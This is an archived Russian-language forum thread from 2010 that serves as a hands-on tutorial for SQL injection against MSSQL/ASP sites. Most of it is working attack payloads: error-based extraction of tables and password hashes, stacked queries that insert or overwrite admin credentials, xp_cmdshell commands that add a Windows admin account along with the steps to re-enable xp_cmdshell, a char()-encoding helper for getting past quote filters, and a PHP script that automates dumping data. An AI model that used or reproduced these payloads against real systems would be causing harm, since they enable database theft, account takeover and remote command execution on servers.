RDot

RDot (https://rdot.org/forum/index.php)
-   Статьи/Articles (https://rdot.org/forum/forumdisplay.php?f=10)
-   -   MSSQL SQL Injection (https://rdot.org/forum/showthread.php?t=826)

v1d0q 21.10.2010 20:50

MSSQL SQL Injection
 
Вывод ошибок.

http://site.com/script.asp?id=5's

Код:

Microsoft OLE DB Provider for SQL Server error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark after the character string '5's'.
/file.asp, line 1000

Ошибки могут быть разные, в зависимости на чем обрабатывается mssql (php, asp, cfm).

В статье в основном будут приведены примеры asp + MSSQL + IIS, потому что "это" встречается чаще всего. + Будет использоваться только обертка инъекций, построение запросов и все в этом духе, описываться не будет.
Для начала, хочу заметить, если мы нашли ошибку, это не всегда означает что присутствует инъекция. Для проверки попробуем вывести версию mssql.

5' or 1=@@version-- => Версия

Код:

Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.3080.00 (Intel X86) Sep 6 2009 01:43:32 Copyright (c) 1988-2005 Microsoft Corporation Standard Edition on Windows NT 5.2 (Build 3790: Service Pack 2)' to a column of data type int.
/file.asp, line 1000

Есть и другие варианты для проверки..

id=5' or 1=(select db_name())-- => Имя Базы Данных текущего юзера.
id=5' or 1=(select system_user)-- => Имя юзера владельца данной базой.
id=5' and len(@@version)=len(@@version)-- => true
id=5' and (@@TEXTSIZE>@@LANGID)-- => true




Поиск таблиц и колонок.

Код:

5'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES)--
В ответ мы получим.

Код:

Microsoft OLE DB Provider for SQL Server error '80040e07'
Syntax error converting the nvarchar value 'table_name' to a column of data type int.
/file.asp, line 1000

Где table_name => имя первой таблицы. Как же получить название 5-й таблицы? В MSSQL отсутствует функция "limit", но есть другие варианты вывода.

- Первый метод. С помощью метода исключения (с указыванием имен таблиц).
Код:

5'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+('table_name1','table_name4',table_name3','table_name4'))--
- Второй метод. С помощью метода исключения (без указывания имен таблиц).
Код:

5'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME+NOT+IN+(SELECT+TOP+4+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES))--
- Третий метод. С помощью математического знака ">" (с указанием "последней" выбранной таблицы). Плюс в этом методе, то что можно достать хоть 53423-ю запись в таблице, чего мы не сможем сделать вариантом 1 и 2, потому что mssql пытается пройтись по всем выбранным записям которые мы хотим исключить через NOT IN (больше 500 записей, база уже начинает неплохо подтормаживать)).
Код:

5'+or+1=(SELECT+TOP+1+TABLE_NAME+FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_NAME>'table_name4')--
Колонки достаем аналогично, только с таблицы COLUMNS :)



Вывод данных.

Допустим в таблице Users есть колонки id(int), username(varchar), password(binary).
Для того чтобы выводить разные типы данных, нам прийдется использовать функции преобразования типа данных (cast, convert, etc..)

Выведем первую запись в колонке id
Код:

5'+or+1=(select+top+1+cast(id+as+nvarchar)+from+Users)--
В ответ получим

Код:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value '1' to data type int.
/inc/file.asp, line 104

Иногда функции преобразования могут не решать проблемы, тогда данные можно вывести через функцию которая служит для преобразования выбираемых данных в XML формат -> "FOR XML PATH", (начиная с 2005 версии MSSQL-сервера) -> к этой функции мы ещё вернемся.
Код:

5'+or+1=(select+top+1+cast(id+as+nvarchar)+from+Users+FOR+XML+PATH(''))--
Вроде ещё была ещё возможность выводить вообще без тегов, но что-то забыл как =(.



Теперь попробуем вывести ячейку с колонки password, казалось бы должно работать так "cast(password+as+binary), но бывают случаи когда FOR XML PATH, cast или convert не дают нужного результата. Тогда можно поискать и другие функции, которые к сожелению нигде не описанные. Одна из них. (".." - аналог для доступа к системной таблице => 'dbo').
Код:

5'+or+1=(select+top+1+master..fn_varbintohexstr(password)+from+Users)--
Теперь попробуем вывести сразу 3 ячейки с 3-х разных колонок, одновременно (в mssql нету функции типа concat() - как в mysql, но тут можно тупо соединить выводимые данные в одну ячейку с помощью "%2B':'%2B". Если мои догадки верны, то %2B(+) интерпретируется mssql именно как +(плюс), а не как пробел, за счет чего и проходит объединение).
Код:

5'+or+1=(SELECT+TOP+1+cast(id+as+nvarchar)%2B':'%2Bconvert(nvarchar,username)%2B':'%2Bmaster..fn_varbintohexstr(password)+FROM+Users)--
Если все типы выводятся без ошибок, то можно так, ... TOP+1+id%2B':'%2Busername%2B':'%2Bpassword ... ;

В ответ получим:
Код:

Microsoft OLE DB Provider for ODBC Drivers error '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]Conversion failed when converting the nvarchar value '1:admin:e075739... ' to data type int.
/inc/file.asp, line 101

Можно ещё немного проще, т.е. сделать nvarchar для всех выводимых ячеек (будьте осторожны, quotename вернет null, если выводимые данные будут больше 258 байт -> 128 символов в unicode).
Код:

5'+or+1=(SELECT+TOP+1+quotename(id%2B':'%2Busername)+FROM+Users)--
Если фильтруются/слешируются кавычки, тогда меняем нужное слово за зачаренное, примерно так
Код:

5'+or+1=(SELECT+TOP+1+column_name+FROM+information_schema.columns+where+table_name=char(85)%2Bchar(115)%2Bchar(101)%2Bchar(114)%2Bchar(115))--
В этом нам поможет маленький скриптец. (с).::Gh0st::.
PHP код:

<? 
$encode 
"table_name"

$n strlen($encode); 
for (
$i 0$i <= ($n-1); $i++) 

if ((
$n-1) === $i) {echo "char(".ord($encode[$i]).")";} 
else 

echo 
"char(".ord($encode[$i]).")%2B";     


?>




INSERT, UPDATE.

Есть ещё один плюс в mssql + IIS, это то что очень часто мы можем "оборвать" запрос с помощью знака ";", после чего создать новый.

Делается все практически так же.

Код:

5';+INSERT+INTO+Users+(id,username,pass)+VALUE+(1,'admin','mypass')--
Код:

5';+UPDATE+Users+set+password='mypass'+where+username='admin'--



Выполнение команд.

Если хватит прав, как правило у пользователя "sa" (root в mysql), можно попробывать выполнить что-то из перечисленных команд:

Код:

xp_enumgroups (группы из ОС Windows)
xp_ntsec_enumdomains (список доменов сети)
xp_enumdsn (источники данных ODBC)
xp_loginconfig (инфо о пользователе)
xp_logininfo (все пользователи, залогинившиеся на данный момент в системе)
xp_msver (версия SQL сервера)
xp_cmdshell <команда> (исполнение файла через cmd.exe)
xp_servicecontrol <действие>,<служба> (запускает или останавливает указанные процесс)
xp_terminate_process <идентификатор процесса> (закрытие процесса по его ProcessID)
xp_startmail, xp_sendmail (обращение к потовому демону sendmail)
sp_makewebtask (выполнение команды html вида)

Как использовать? Очень просто, обрываем запрос знаком ";" -> после чего создаем свой запрос.

Код:

5';exec master..xp_cmdshell 'dir c:\'--
Код:

5';exec master..xp_cmdshell 'net user admin password /add'--
В обход кавычек.
Код:

5';exec master..xp_cmdshell [net user admin password /add]--



DUMP.

Теоретически слить сразу всю базу через инъекцию без знания структуры базы, нельзя. Но можно получить информацию следующими способами. Первый, парсить, 1 запрос - 1 запись (позже выложу такой парсер). Второй, парсить через функцию FOR XML RAW (это ~ 2 000 символов за запрос), скрипт выкладываю. Взято с pastebin.com

PHP код:

<?php

$host 
"www.test.net";
$port 80;

for(
$i=$j=0;;$i+=1990,$j++) {
    
$p "GET /index.asp?id=1'".urlencode(" and 1= (SELECT convert(int,SUBSTRING((SELECT TABLE_NAME AS e FROM information_schema.TABLES FOR XML RAW ('a')),$i,1990)))--")." HTTP/1.0\r\n";
    
$p.= "Host: $host\r\n";
    
$p.= "Connection: close\r\n\r\n";

    
$ock fsockopen(gethostbyname($host), $port);
    if(!
$ock) {
        return 
false;
    }
    
fputs($ock$p);
    
$html='';
    while(!
feof($ock)) {
        
$html.= fgets($ock);
    }
    
$html explode("\r\n\r\n",$html);
    if(
stripos($html[1],'type mismatch')!==false) {
        break;
    }
    
$out = array();
    
preg_match("@the nvarchar value '(.+?)'*( to data type int\.)*</font>@"$html[1], $out);
    if(isset(
$out[1])) {
        
$xml .= htmlspecialchars_decode($out[1]);
    } else {
        break;
    }

}

$r xml_parser_create();
$out = array();
xml_parse_into_struct($r'<root>'.$xml$out);
foreach(
$out as $el) {
    echo 
$el['attributes']['E']."\r\n";
}



upd. Решил немного переписать и выложить пока сыроватый вариант статьи о mssql inj. Со временем буду пополнять. Писал в основном для того чтобы можно было обсуждать mssql на rdot, а не лезьть на левые форумы всякий раз как интересует какие-либо фишки о mssql.

copyright -> Большая часть статьи уже была описана здесь, большое спасибо всех кто там оставлял свои наработки по теме msql injection. Так же часть бралась отсюда.

SynQ 22.10.2010 10:12

Добавление (почему-то ни в одной статье этого не видел - что странно, неужели авторы статей с mssql в реальности не сталкиваются...) про MSSQL2005 (и может 2008):
после MSSQL2000 выполнение xp_cmdshell по умолчанию всегда выключено, чтобы включить нужно последовательно выполнить следующие команды:
Код:

EXEC sp_configure 'show advanced options',1
reconfigure
EXEC sp_configure 'xp_cmdshell',1
reconfigure

При этом в логах остаются соответствующие (заметные) сообщения.

PS show advanced options затем можно отключить (не забыв выполнить reconfigure, но тогда еще одной записью в логах будет больше).

Ctacok 10.11.2010 20:56

Фича найденная IceAngel_'ом с order by работает в mssql так же.
Цитата:

SELECT id,login,password FROM users WHERE id=-1 order by 1,2,3 --
Вернёт просто:
Цитата:

Типы данных text, ntext и image нельзя сравнивать и сортировать, за исключением случаев использования оператора IS NULL или LIKE.
А если скинуть больше чем есть колонок:
Цитата:

SELECT id,login,password FROM users WHERE id=-1 order by 1,2,3,4 --
Вернёт:
Цитата:

Типы данных text, ntext и image нельзя сравнивать и сортировать, за исключением случаев использования оператора IS NULL или LIKE.
Номер позиции 5 для ORDER BY находится за пределами диапазона номеров позиций в списке выбора.

Seravin 25.11.2010 01:36

я не шарю в mssql инъекциях, по этому пришлось читать прежде чем делать. Так вот пока делал к чему пришёл(просто распишу последовательность для тех кто тоже не в теме):
для вывода названий таблиц и колонок подошёл второй метод, остальные не работали, в итоге запрос у меня приобрёл такой вид
Код:

http://site.com/PageID=1+or+1=(SELECT+TOP+1+table_name+FROM+information_schema.tables+WHERE+table_name+not+in+(SELECT+TOP+35+table_name+FROM+information_schema.tables))
но тут собственно всё понятно и описано выше, но проблема возникла для получения названий колонок.
table_name = 'users' не работает
table_name = (SELECT+TOP+1+table_name+FROM+information_schema.t ables+WHERE+table_name+not+in+(SELECT+TOP+35+table _name+FROM+information_schema.tables)) не работает
table_name like '%25users%25' не работает(на ачате конструкцию увидел, что такое %25 я не знаю)
путём всякого рода извращенств я пришёл к такой конструкции
Код:

http://site.com/PageID=1+or+1=(SELECT+TOP+1+column_name+FROM+information_schema.columns+WHERE+table_name like (SELECT+TOP+1+table_name+FROM+information_schema.tables+WHERE+table_name+not+in+(SELECT+TOP+35+table_name+FROM+information_schema.tables)))
ну и по аналогии извлекаем инфу о второй колонки и далее
Код:

http://site.com/PageID=1+or+1=(SELECT+TOP+1+column_name+FROM+information_schema.columns+WHERE+table_name like (SELECT+TOP+1+table_name+FROM+information_schema.tables+WHERE+table_name+not+in+(SELECT+TOP+35+table_name+FROM+information_schema.tables))+and+column_name+not+in+((SELECT+TOP+1+column_name+FROM+information_schema.columns+WHERE+table_name like (SELECT+TOP+1+table_name+FROM+information_schema.tables+WHERE+table_name+not+in+(SELECT+TOP+35+table_name+FROM+information_schema.tables)))))

v1d0q 25.11.2010 19:54

От лажа, неправильно подписал скрипт =(, исправил.

Seravin, эти извращения ни к чему. Пробуй вместо ['Users'] => [char(85)%2Bchar(115)%2Bchar(101)%2Bchar(114)%2Bcha r(115)]

А третий метод работает в случае если знак ">" не косячит. В твоем случае косяк.

Pashkela 25.11.2010 20:06

Цитата:

- Второй метод. С помощью метода исключения (без указывания имен таблиц)
не самый лучший вариант, уже писал на ачаде, напишу и здесь, универсальный метод работающий в большинстве случаев без глюков:

1. Узнаем кол-во таблиц (или колонок - тогда information_schema.columns и where table_name=...):

Цитата:

## кол-во таблиц в in_sch.tables
5'+or+1=convert(int,(SeLeCT+SUBSTRING(char(39)%2bc har(94)%2bchar(39)%2BCAST(COUNT(*)%20AS%20varchar) ,1,1000)+FROM+INfORmATION_ScHEMA.TaBLeS))
2. Самое главное - универсальный способ забора названий таблиц/колонок без растягивания урла до неработающей длины в потенциале:

Цитата:

5'+or+1=(SeLect+max(table_name)+from+(select+top+1 +table_name+from+information_schema.tables+where+t able_name+not+in+(select+top+". $i . "+table_name+from+information_schema.tables+order+ by+table_name)+order+by+table_name)a)

где $i - номер интересующего объекта (аналог limit)

3. Ну и забор непосредственно данных:

5'+or+1=(select+top+1+". $column_name . "+from+". $table . "+where+". $column_name . "+not+in+(select+top+". $i . "+". $column_name . "+from+". $table . "+order+by+" . $column_name. ")+order+by+".$column_name . ")"

где $table - таблица, а $column_name - соответственно колонка, $i - число, аналог перебора по limit

PS: Проеврено на практике (с) ;)
PS: Не забудьте удалить пробелы для работабельности

Seravin 25.11.2010 20:59

Цитата:

Сообщение от v1d0q (Сообщение 9709)
От лажа, неправильно подписал скрипт =(, исправил.

Seravin, эти извращения ни к чему. Пробуй вместо ['Users'] => [char(85)%2Bchar(115)%2Bchar(101)%2Bchar(114)%2Bcha r(115)]

А третий метод работает в случае если знак ">" не косячит. В твоем случае косяк.

не понял зачем [] но я пробовал через char (Incorrect syntax near 'CHAR'.), а сейчас и со скобками попробывал
Invalid column name 'CHAR(70) CHAR(111) CHAR(110) CHAR(116) CHAR(115)'

Pashkela 25.11.2010 21:03

[] - это феничка, дабы выделить нужное, по-моему понятно, особенно если посмотреть на ['Users']

PS: Вынуждают флудить в правильной теме)

2 Seravin:

подобные вопросы лучше задавать в уязвимостях, дабы не засирать ВАЖНУЮ тему (аля справочник)

Seravin 25.11.2010 21:11

дело ещё в том что на order он пишет
Код:

An expression of non-boolean type specified in a context where a condition is expected, near 'order'.
з.ы. почистить потом просто тему от этих постов

Seravin 25.11.2010 22:22

потому что я заменял %2b на +, чего как оказывается не надо делать, я просто гг mssql знаю


Часовой пояс GMT +3, время: 11:20.

Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot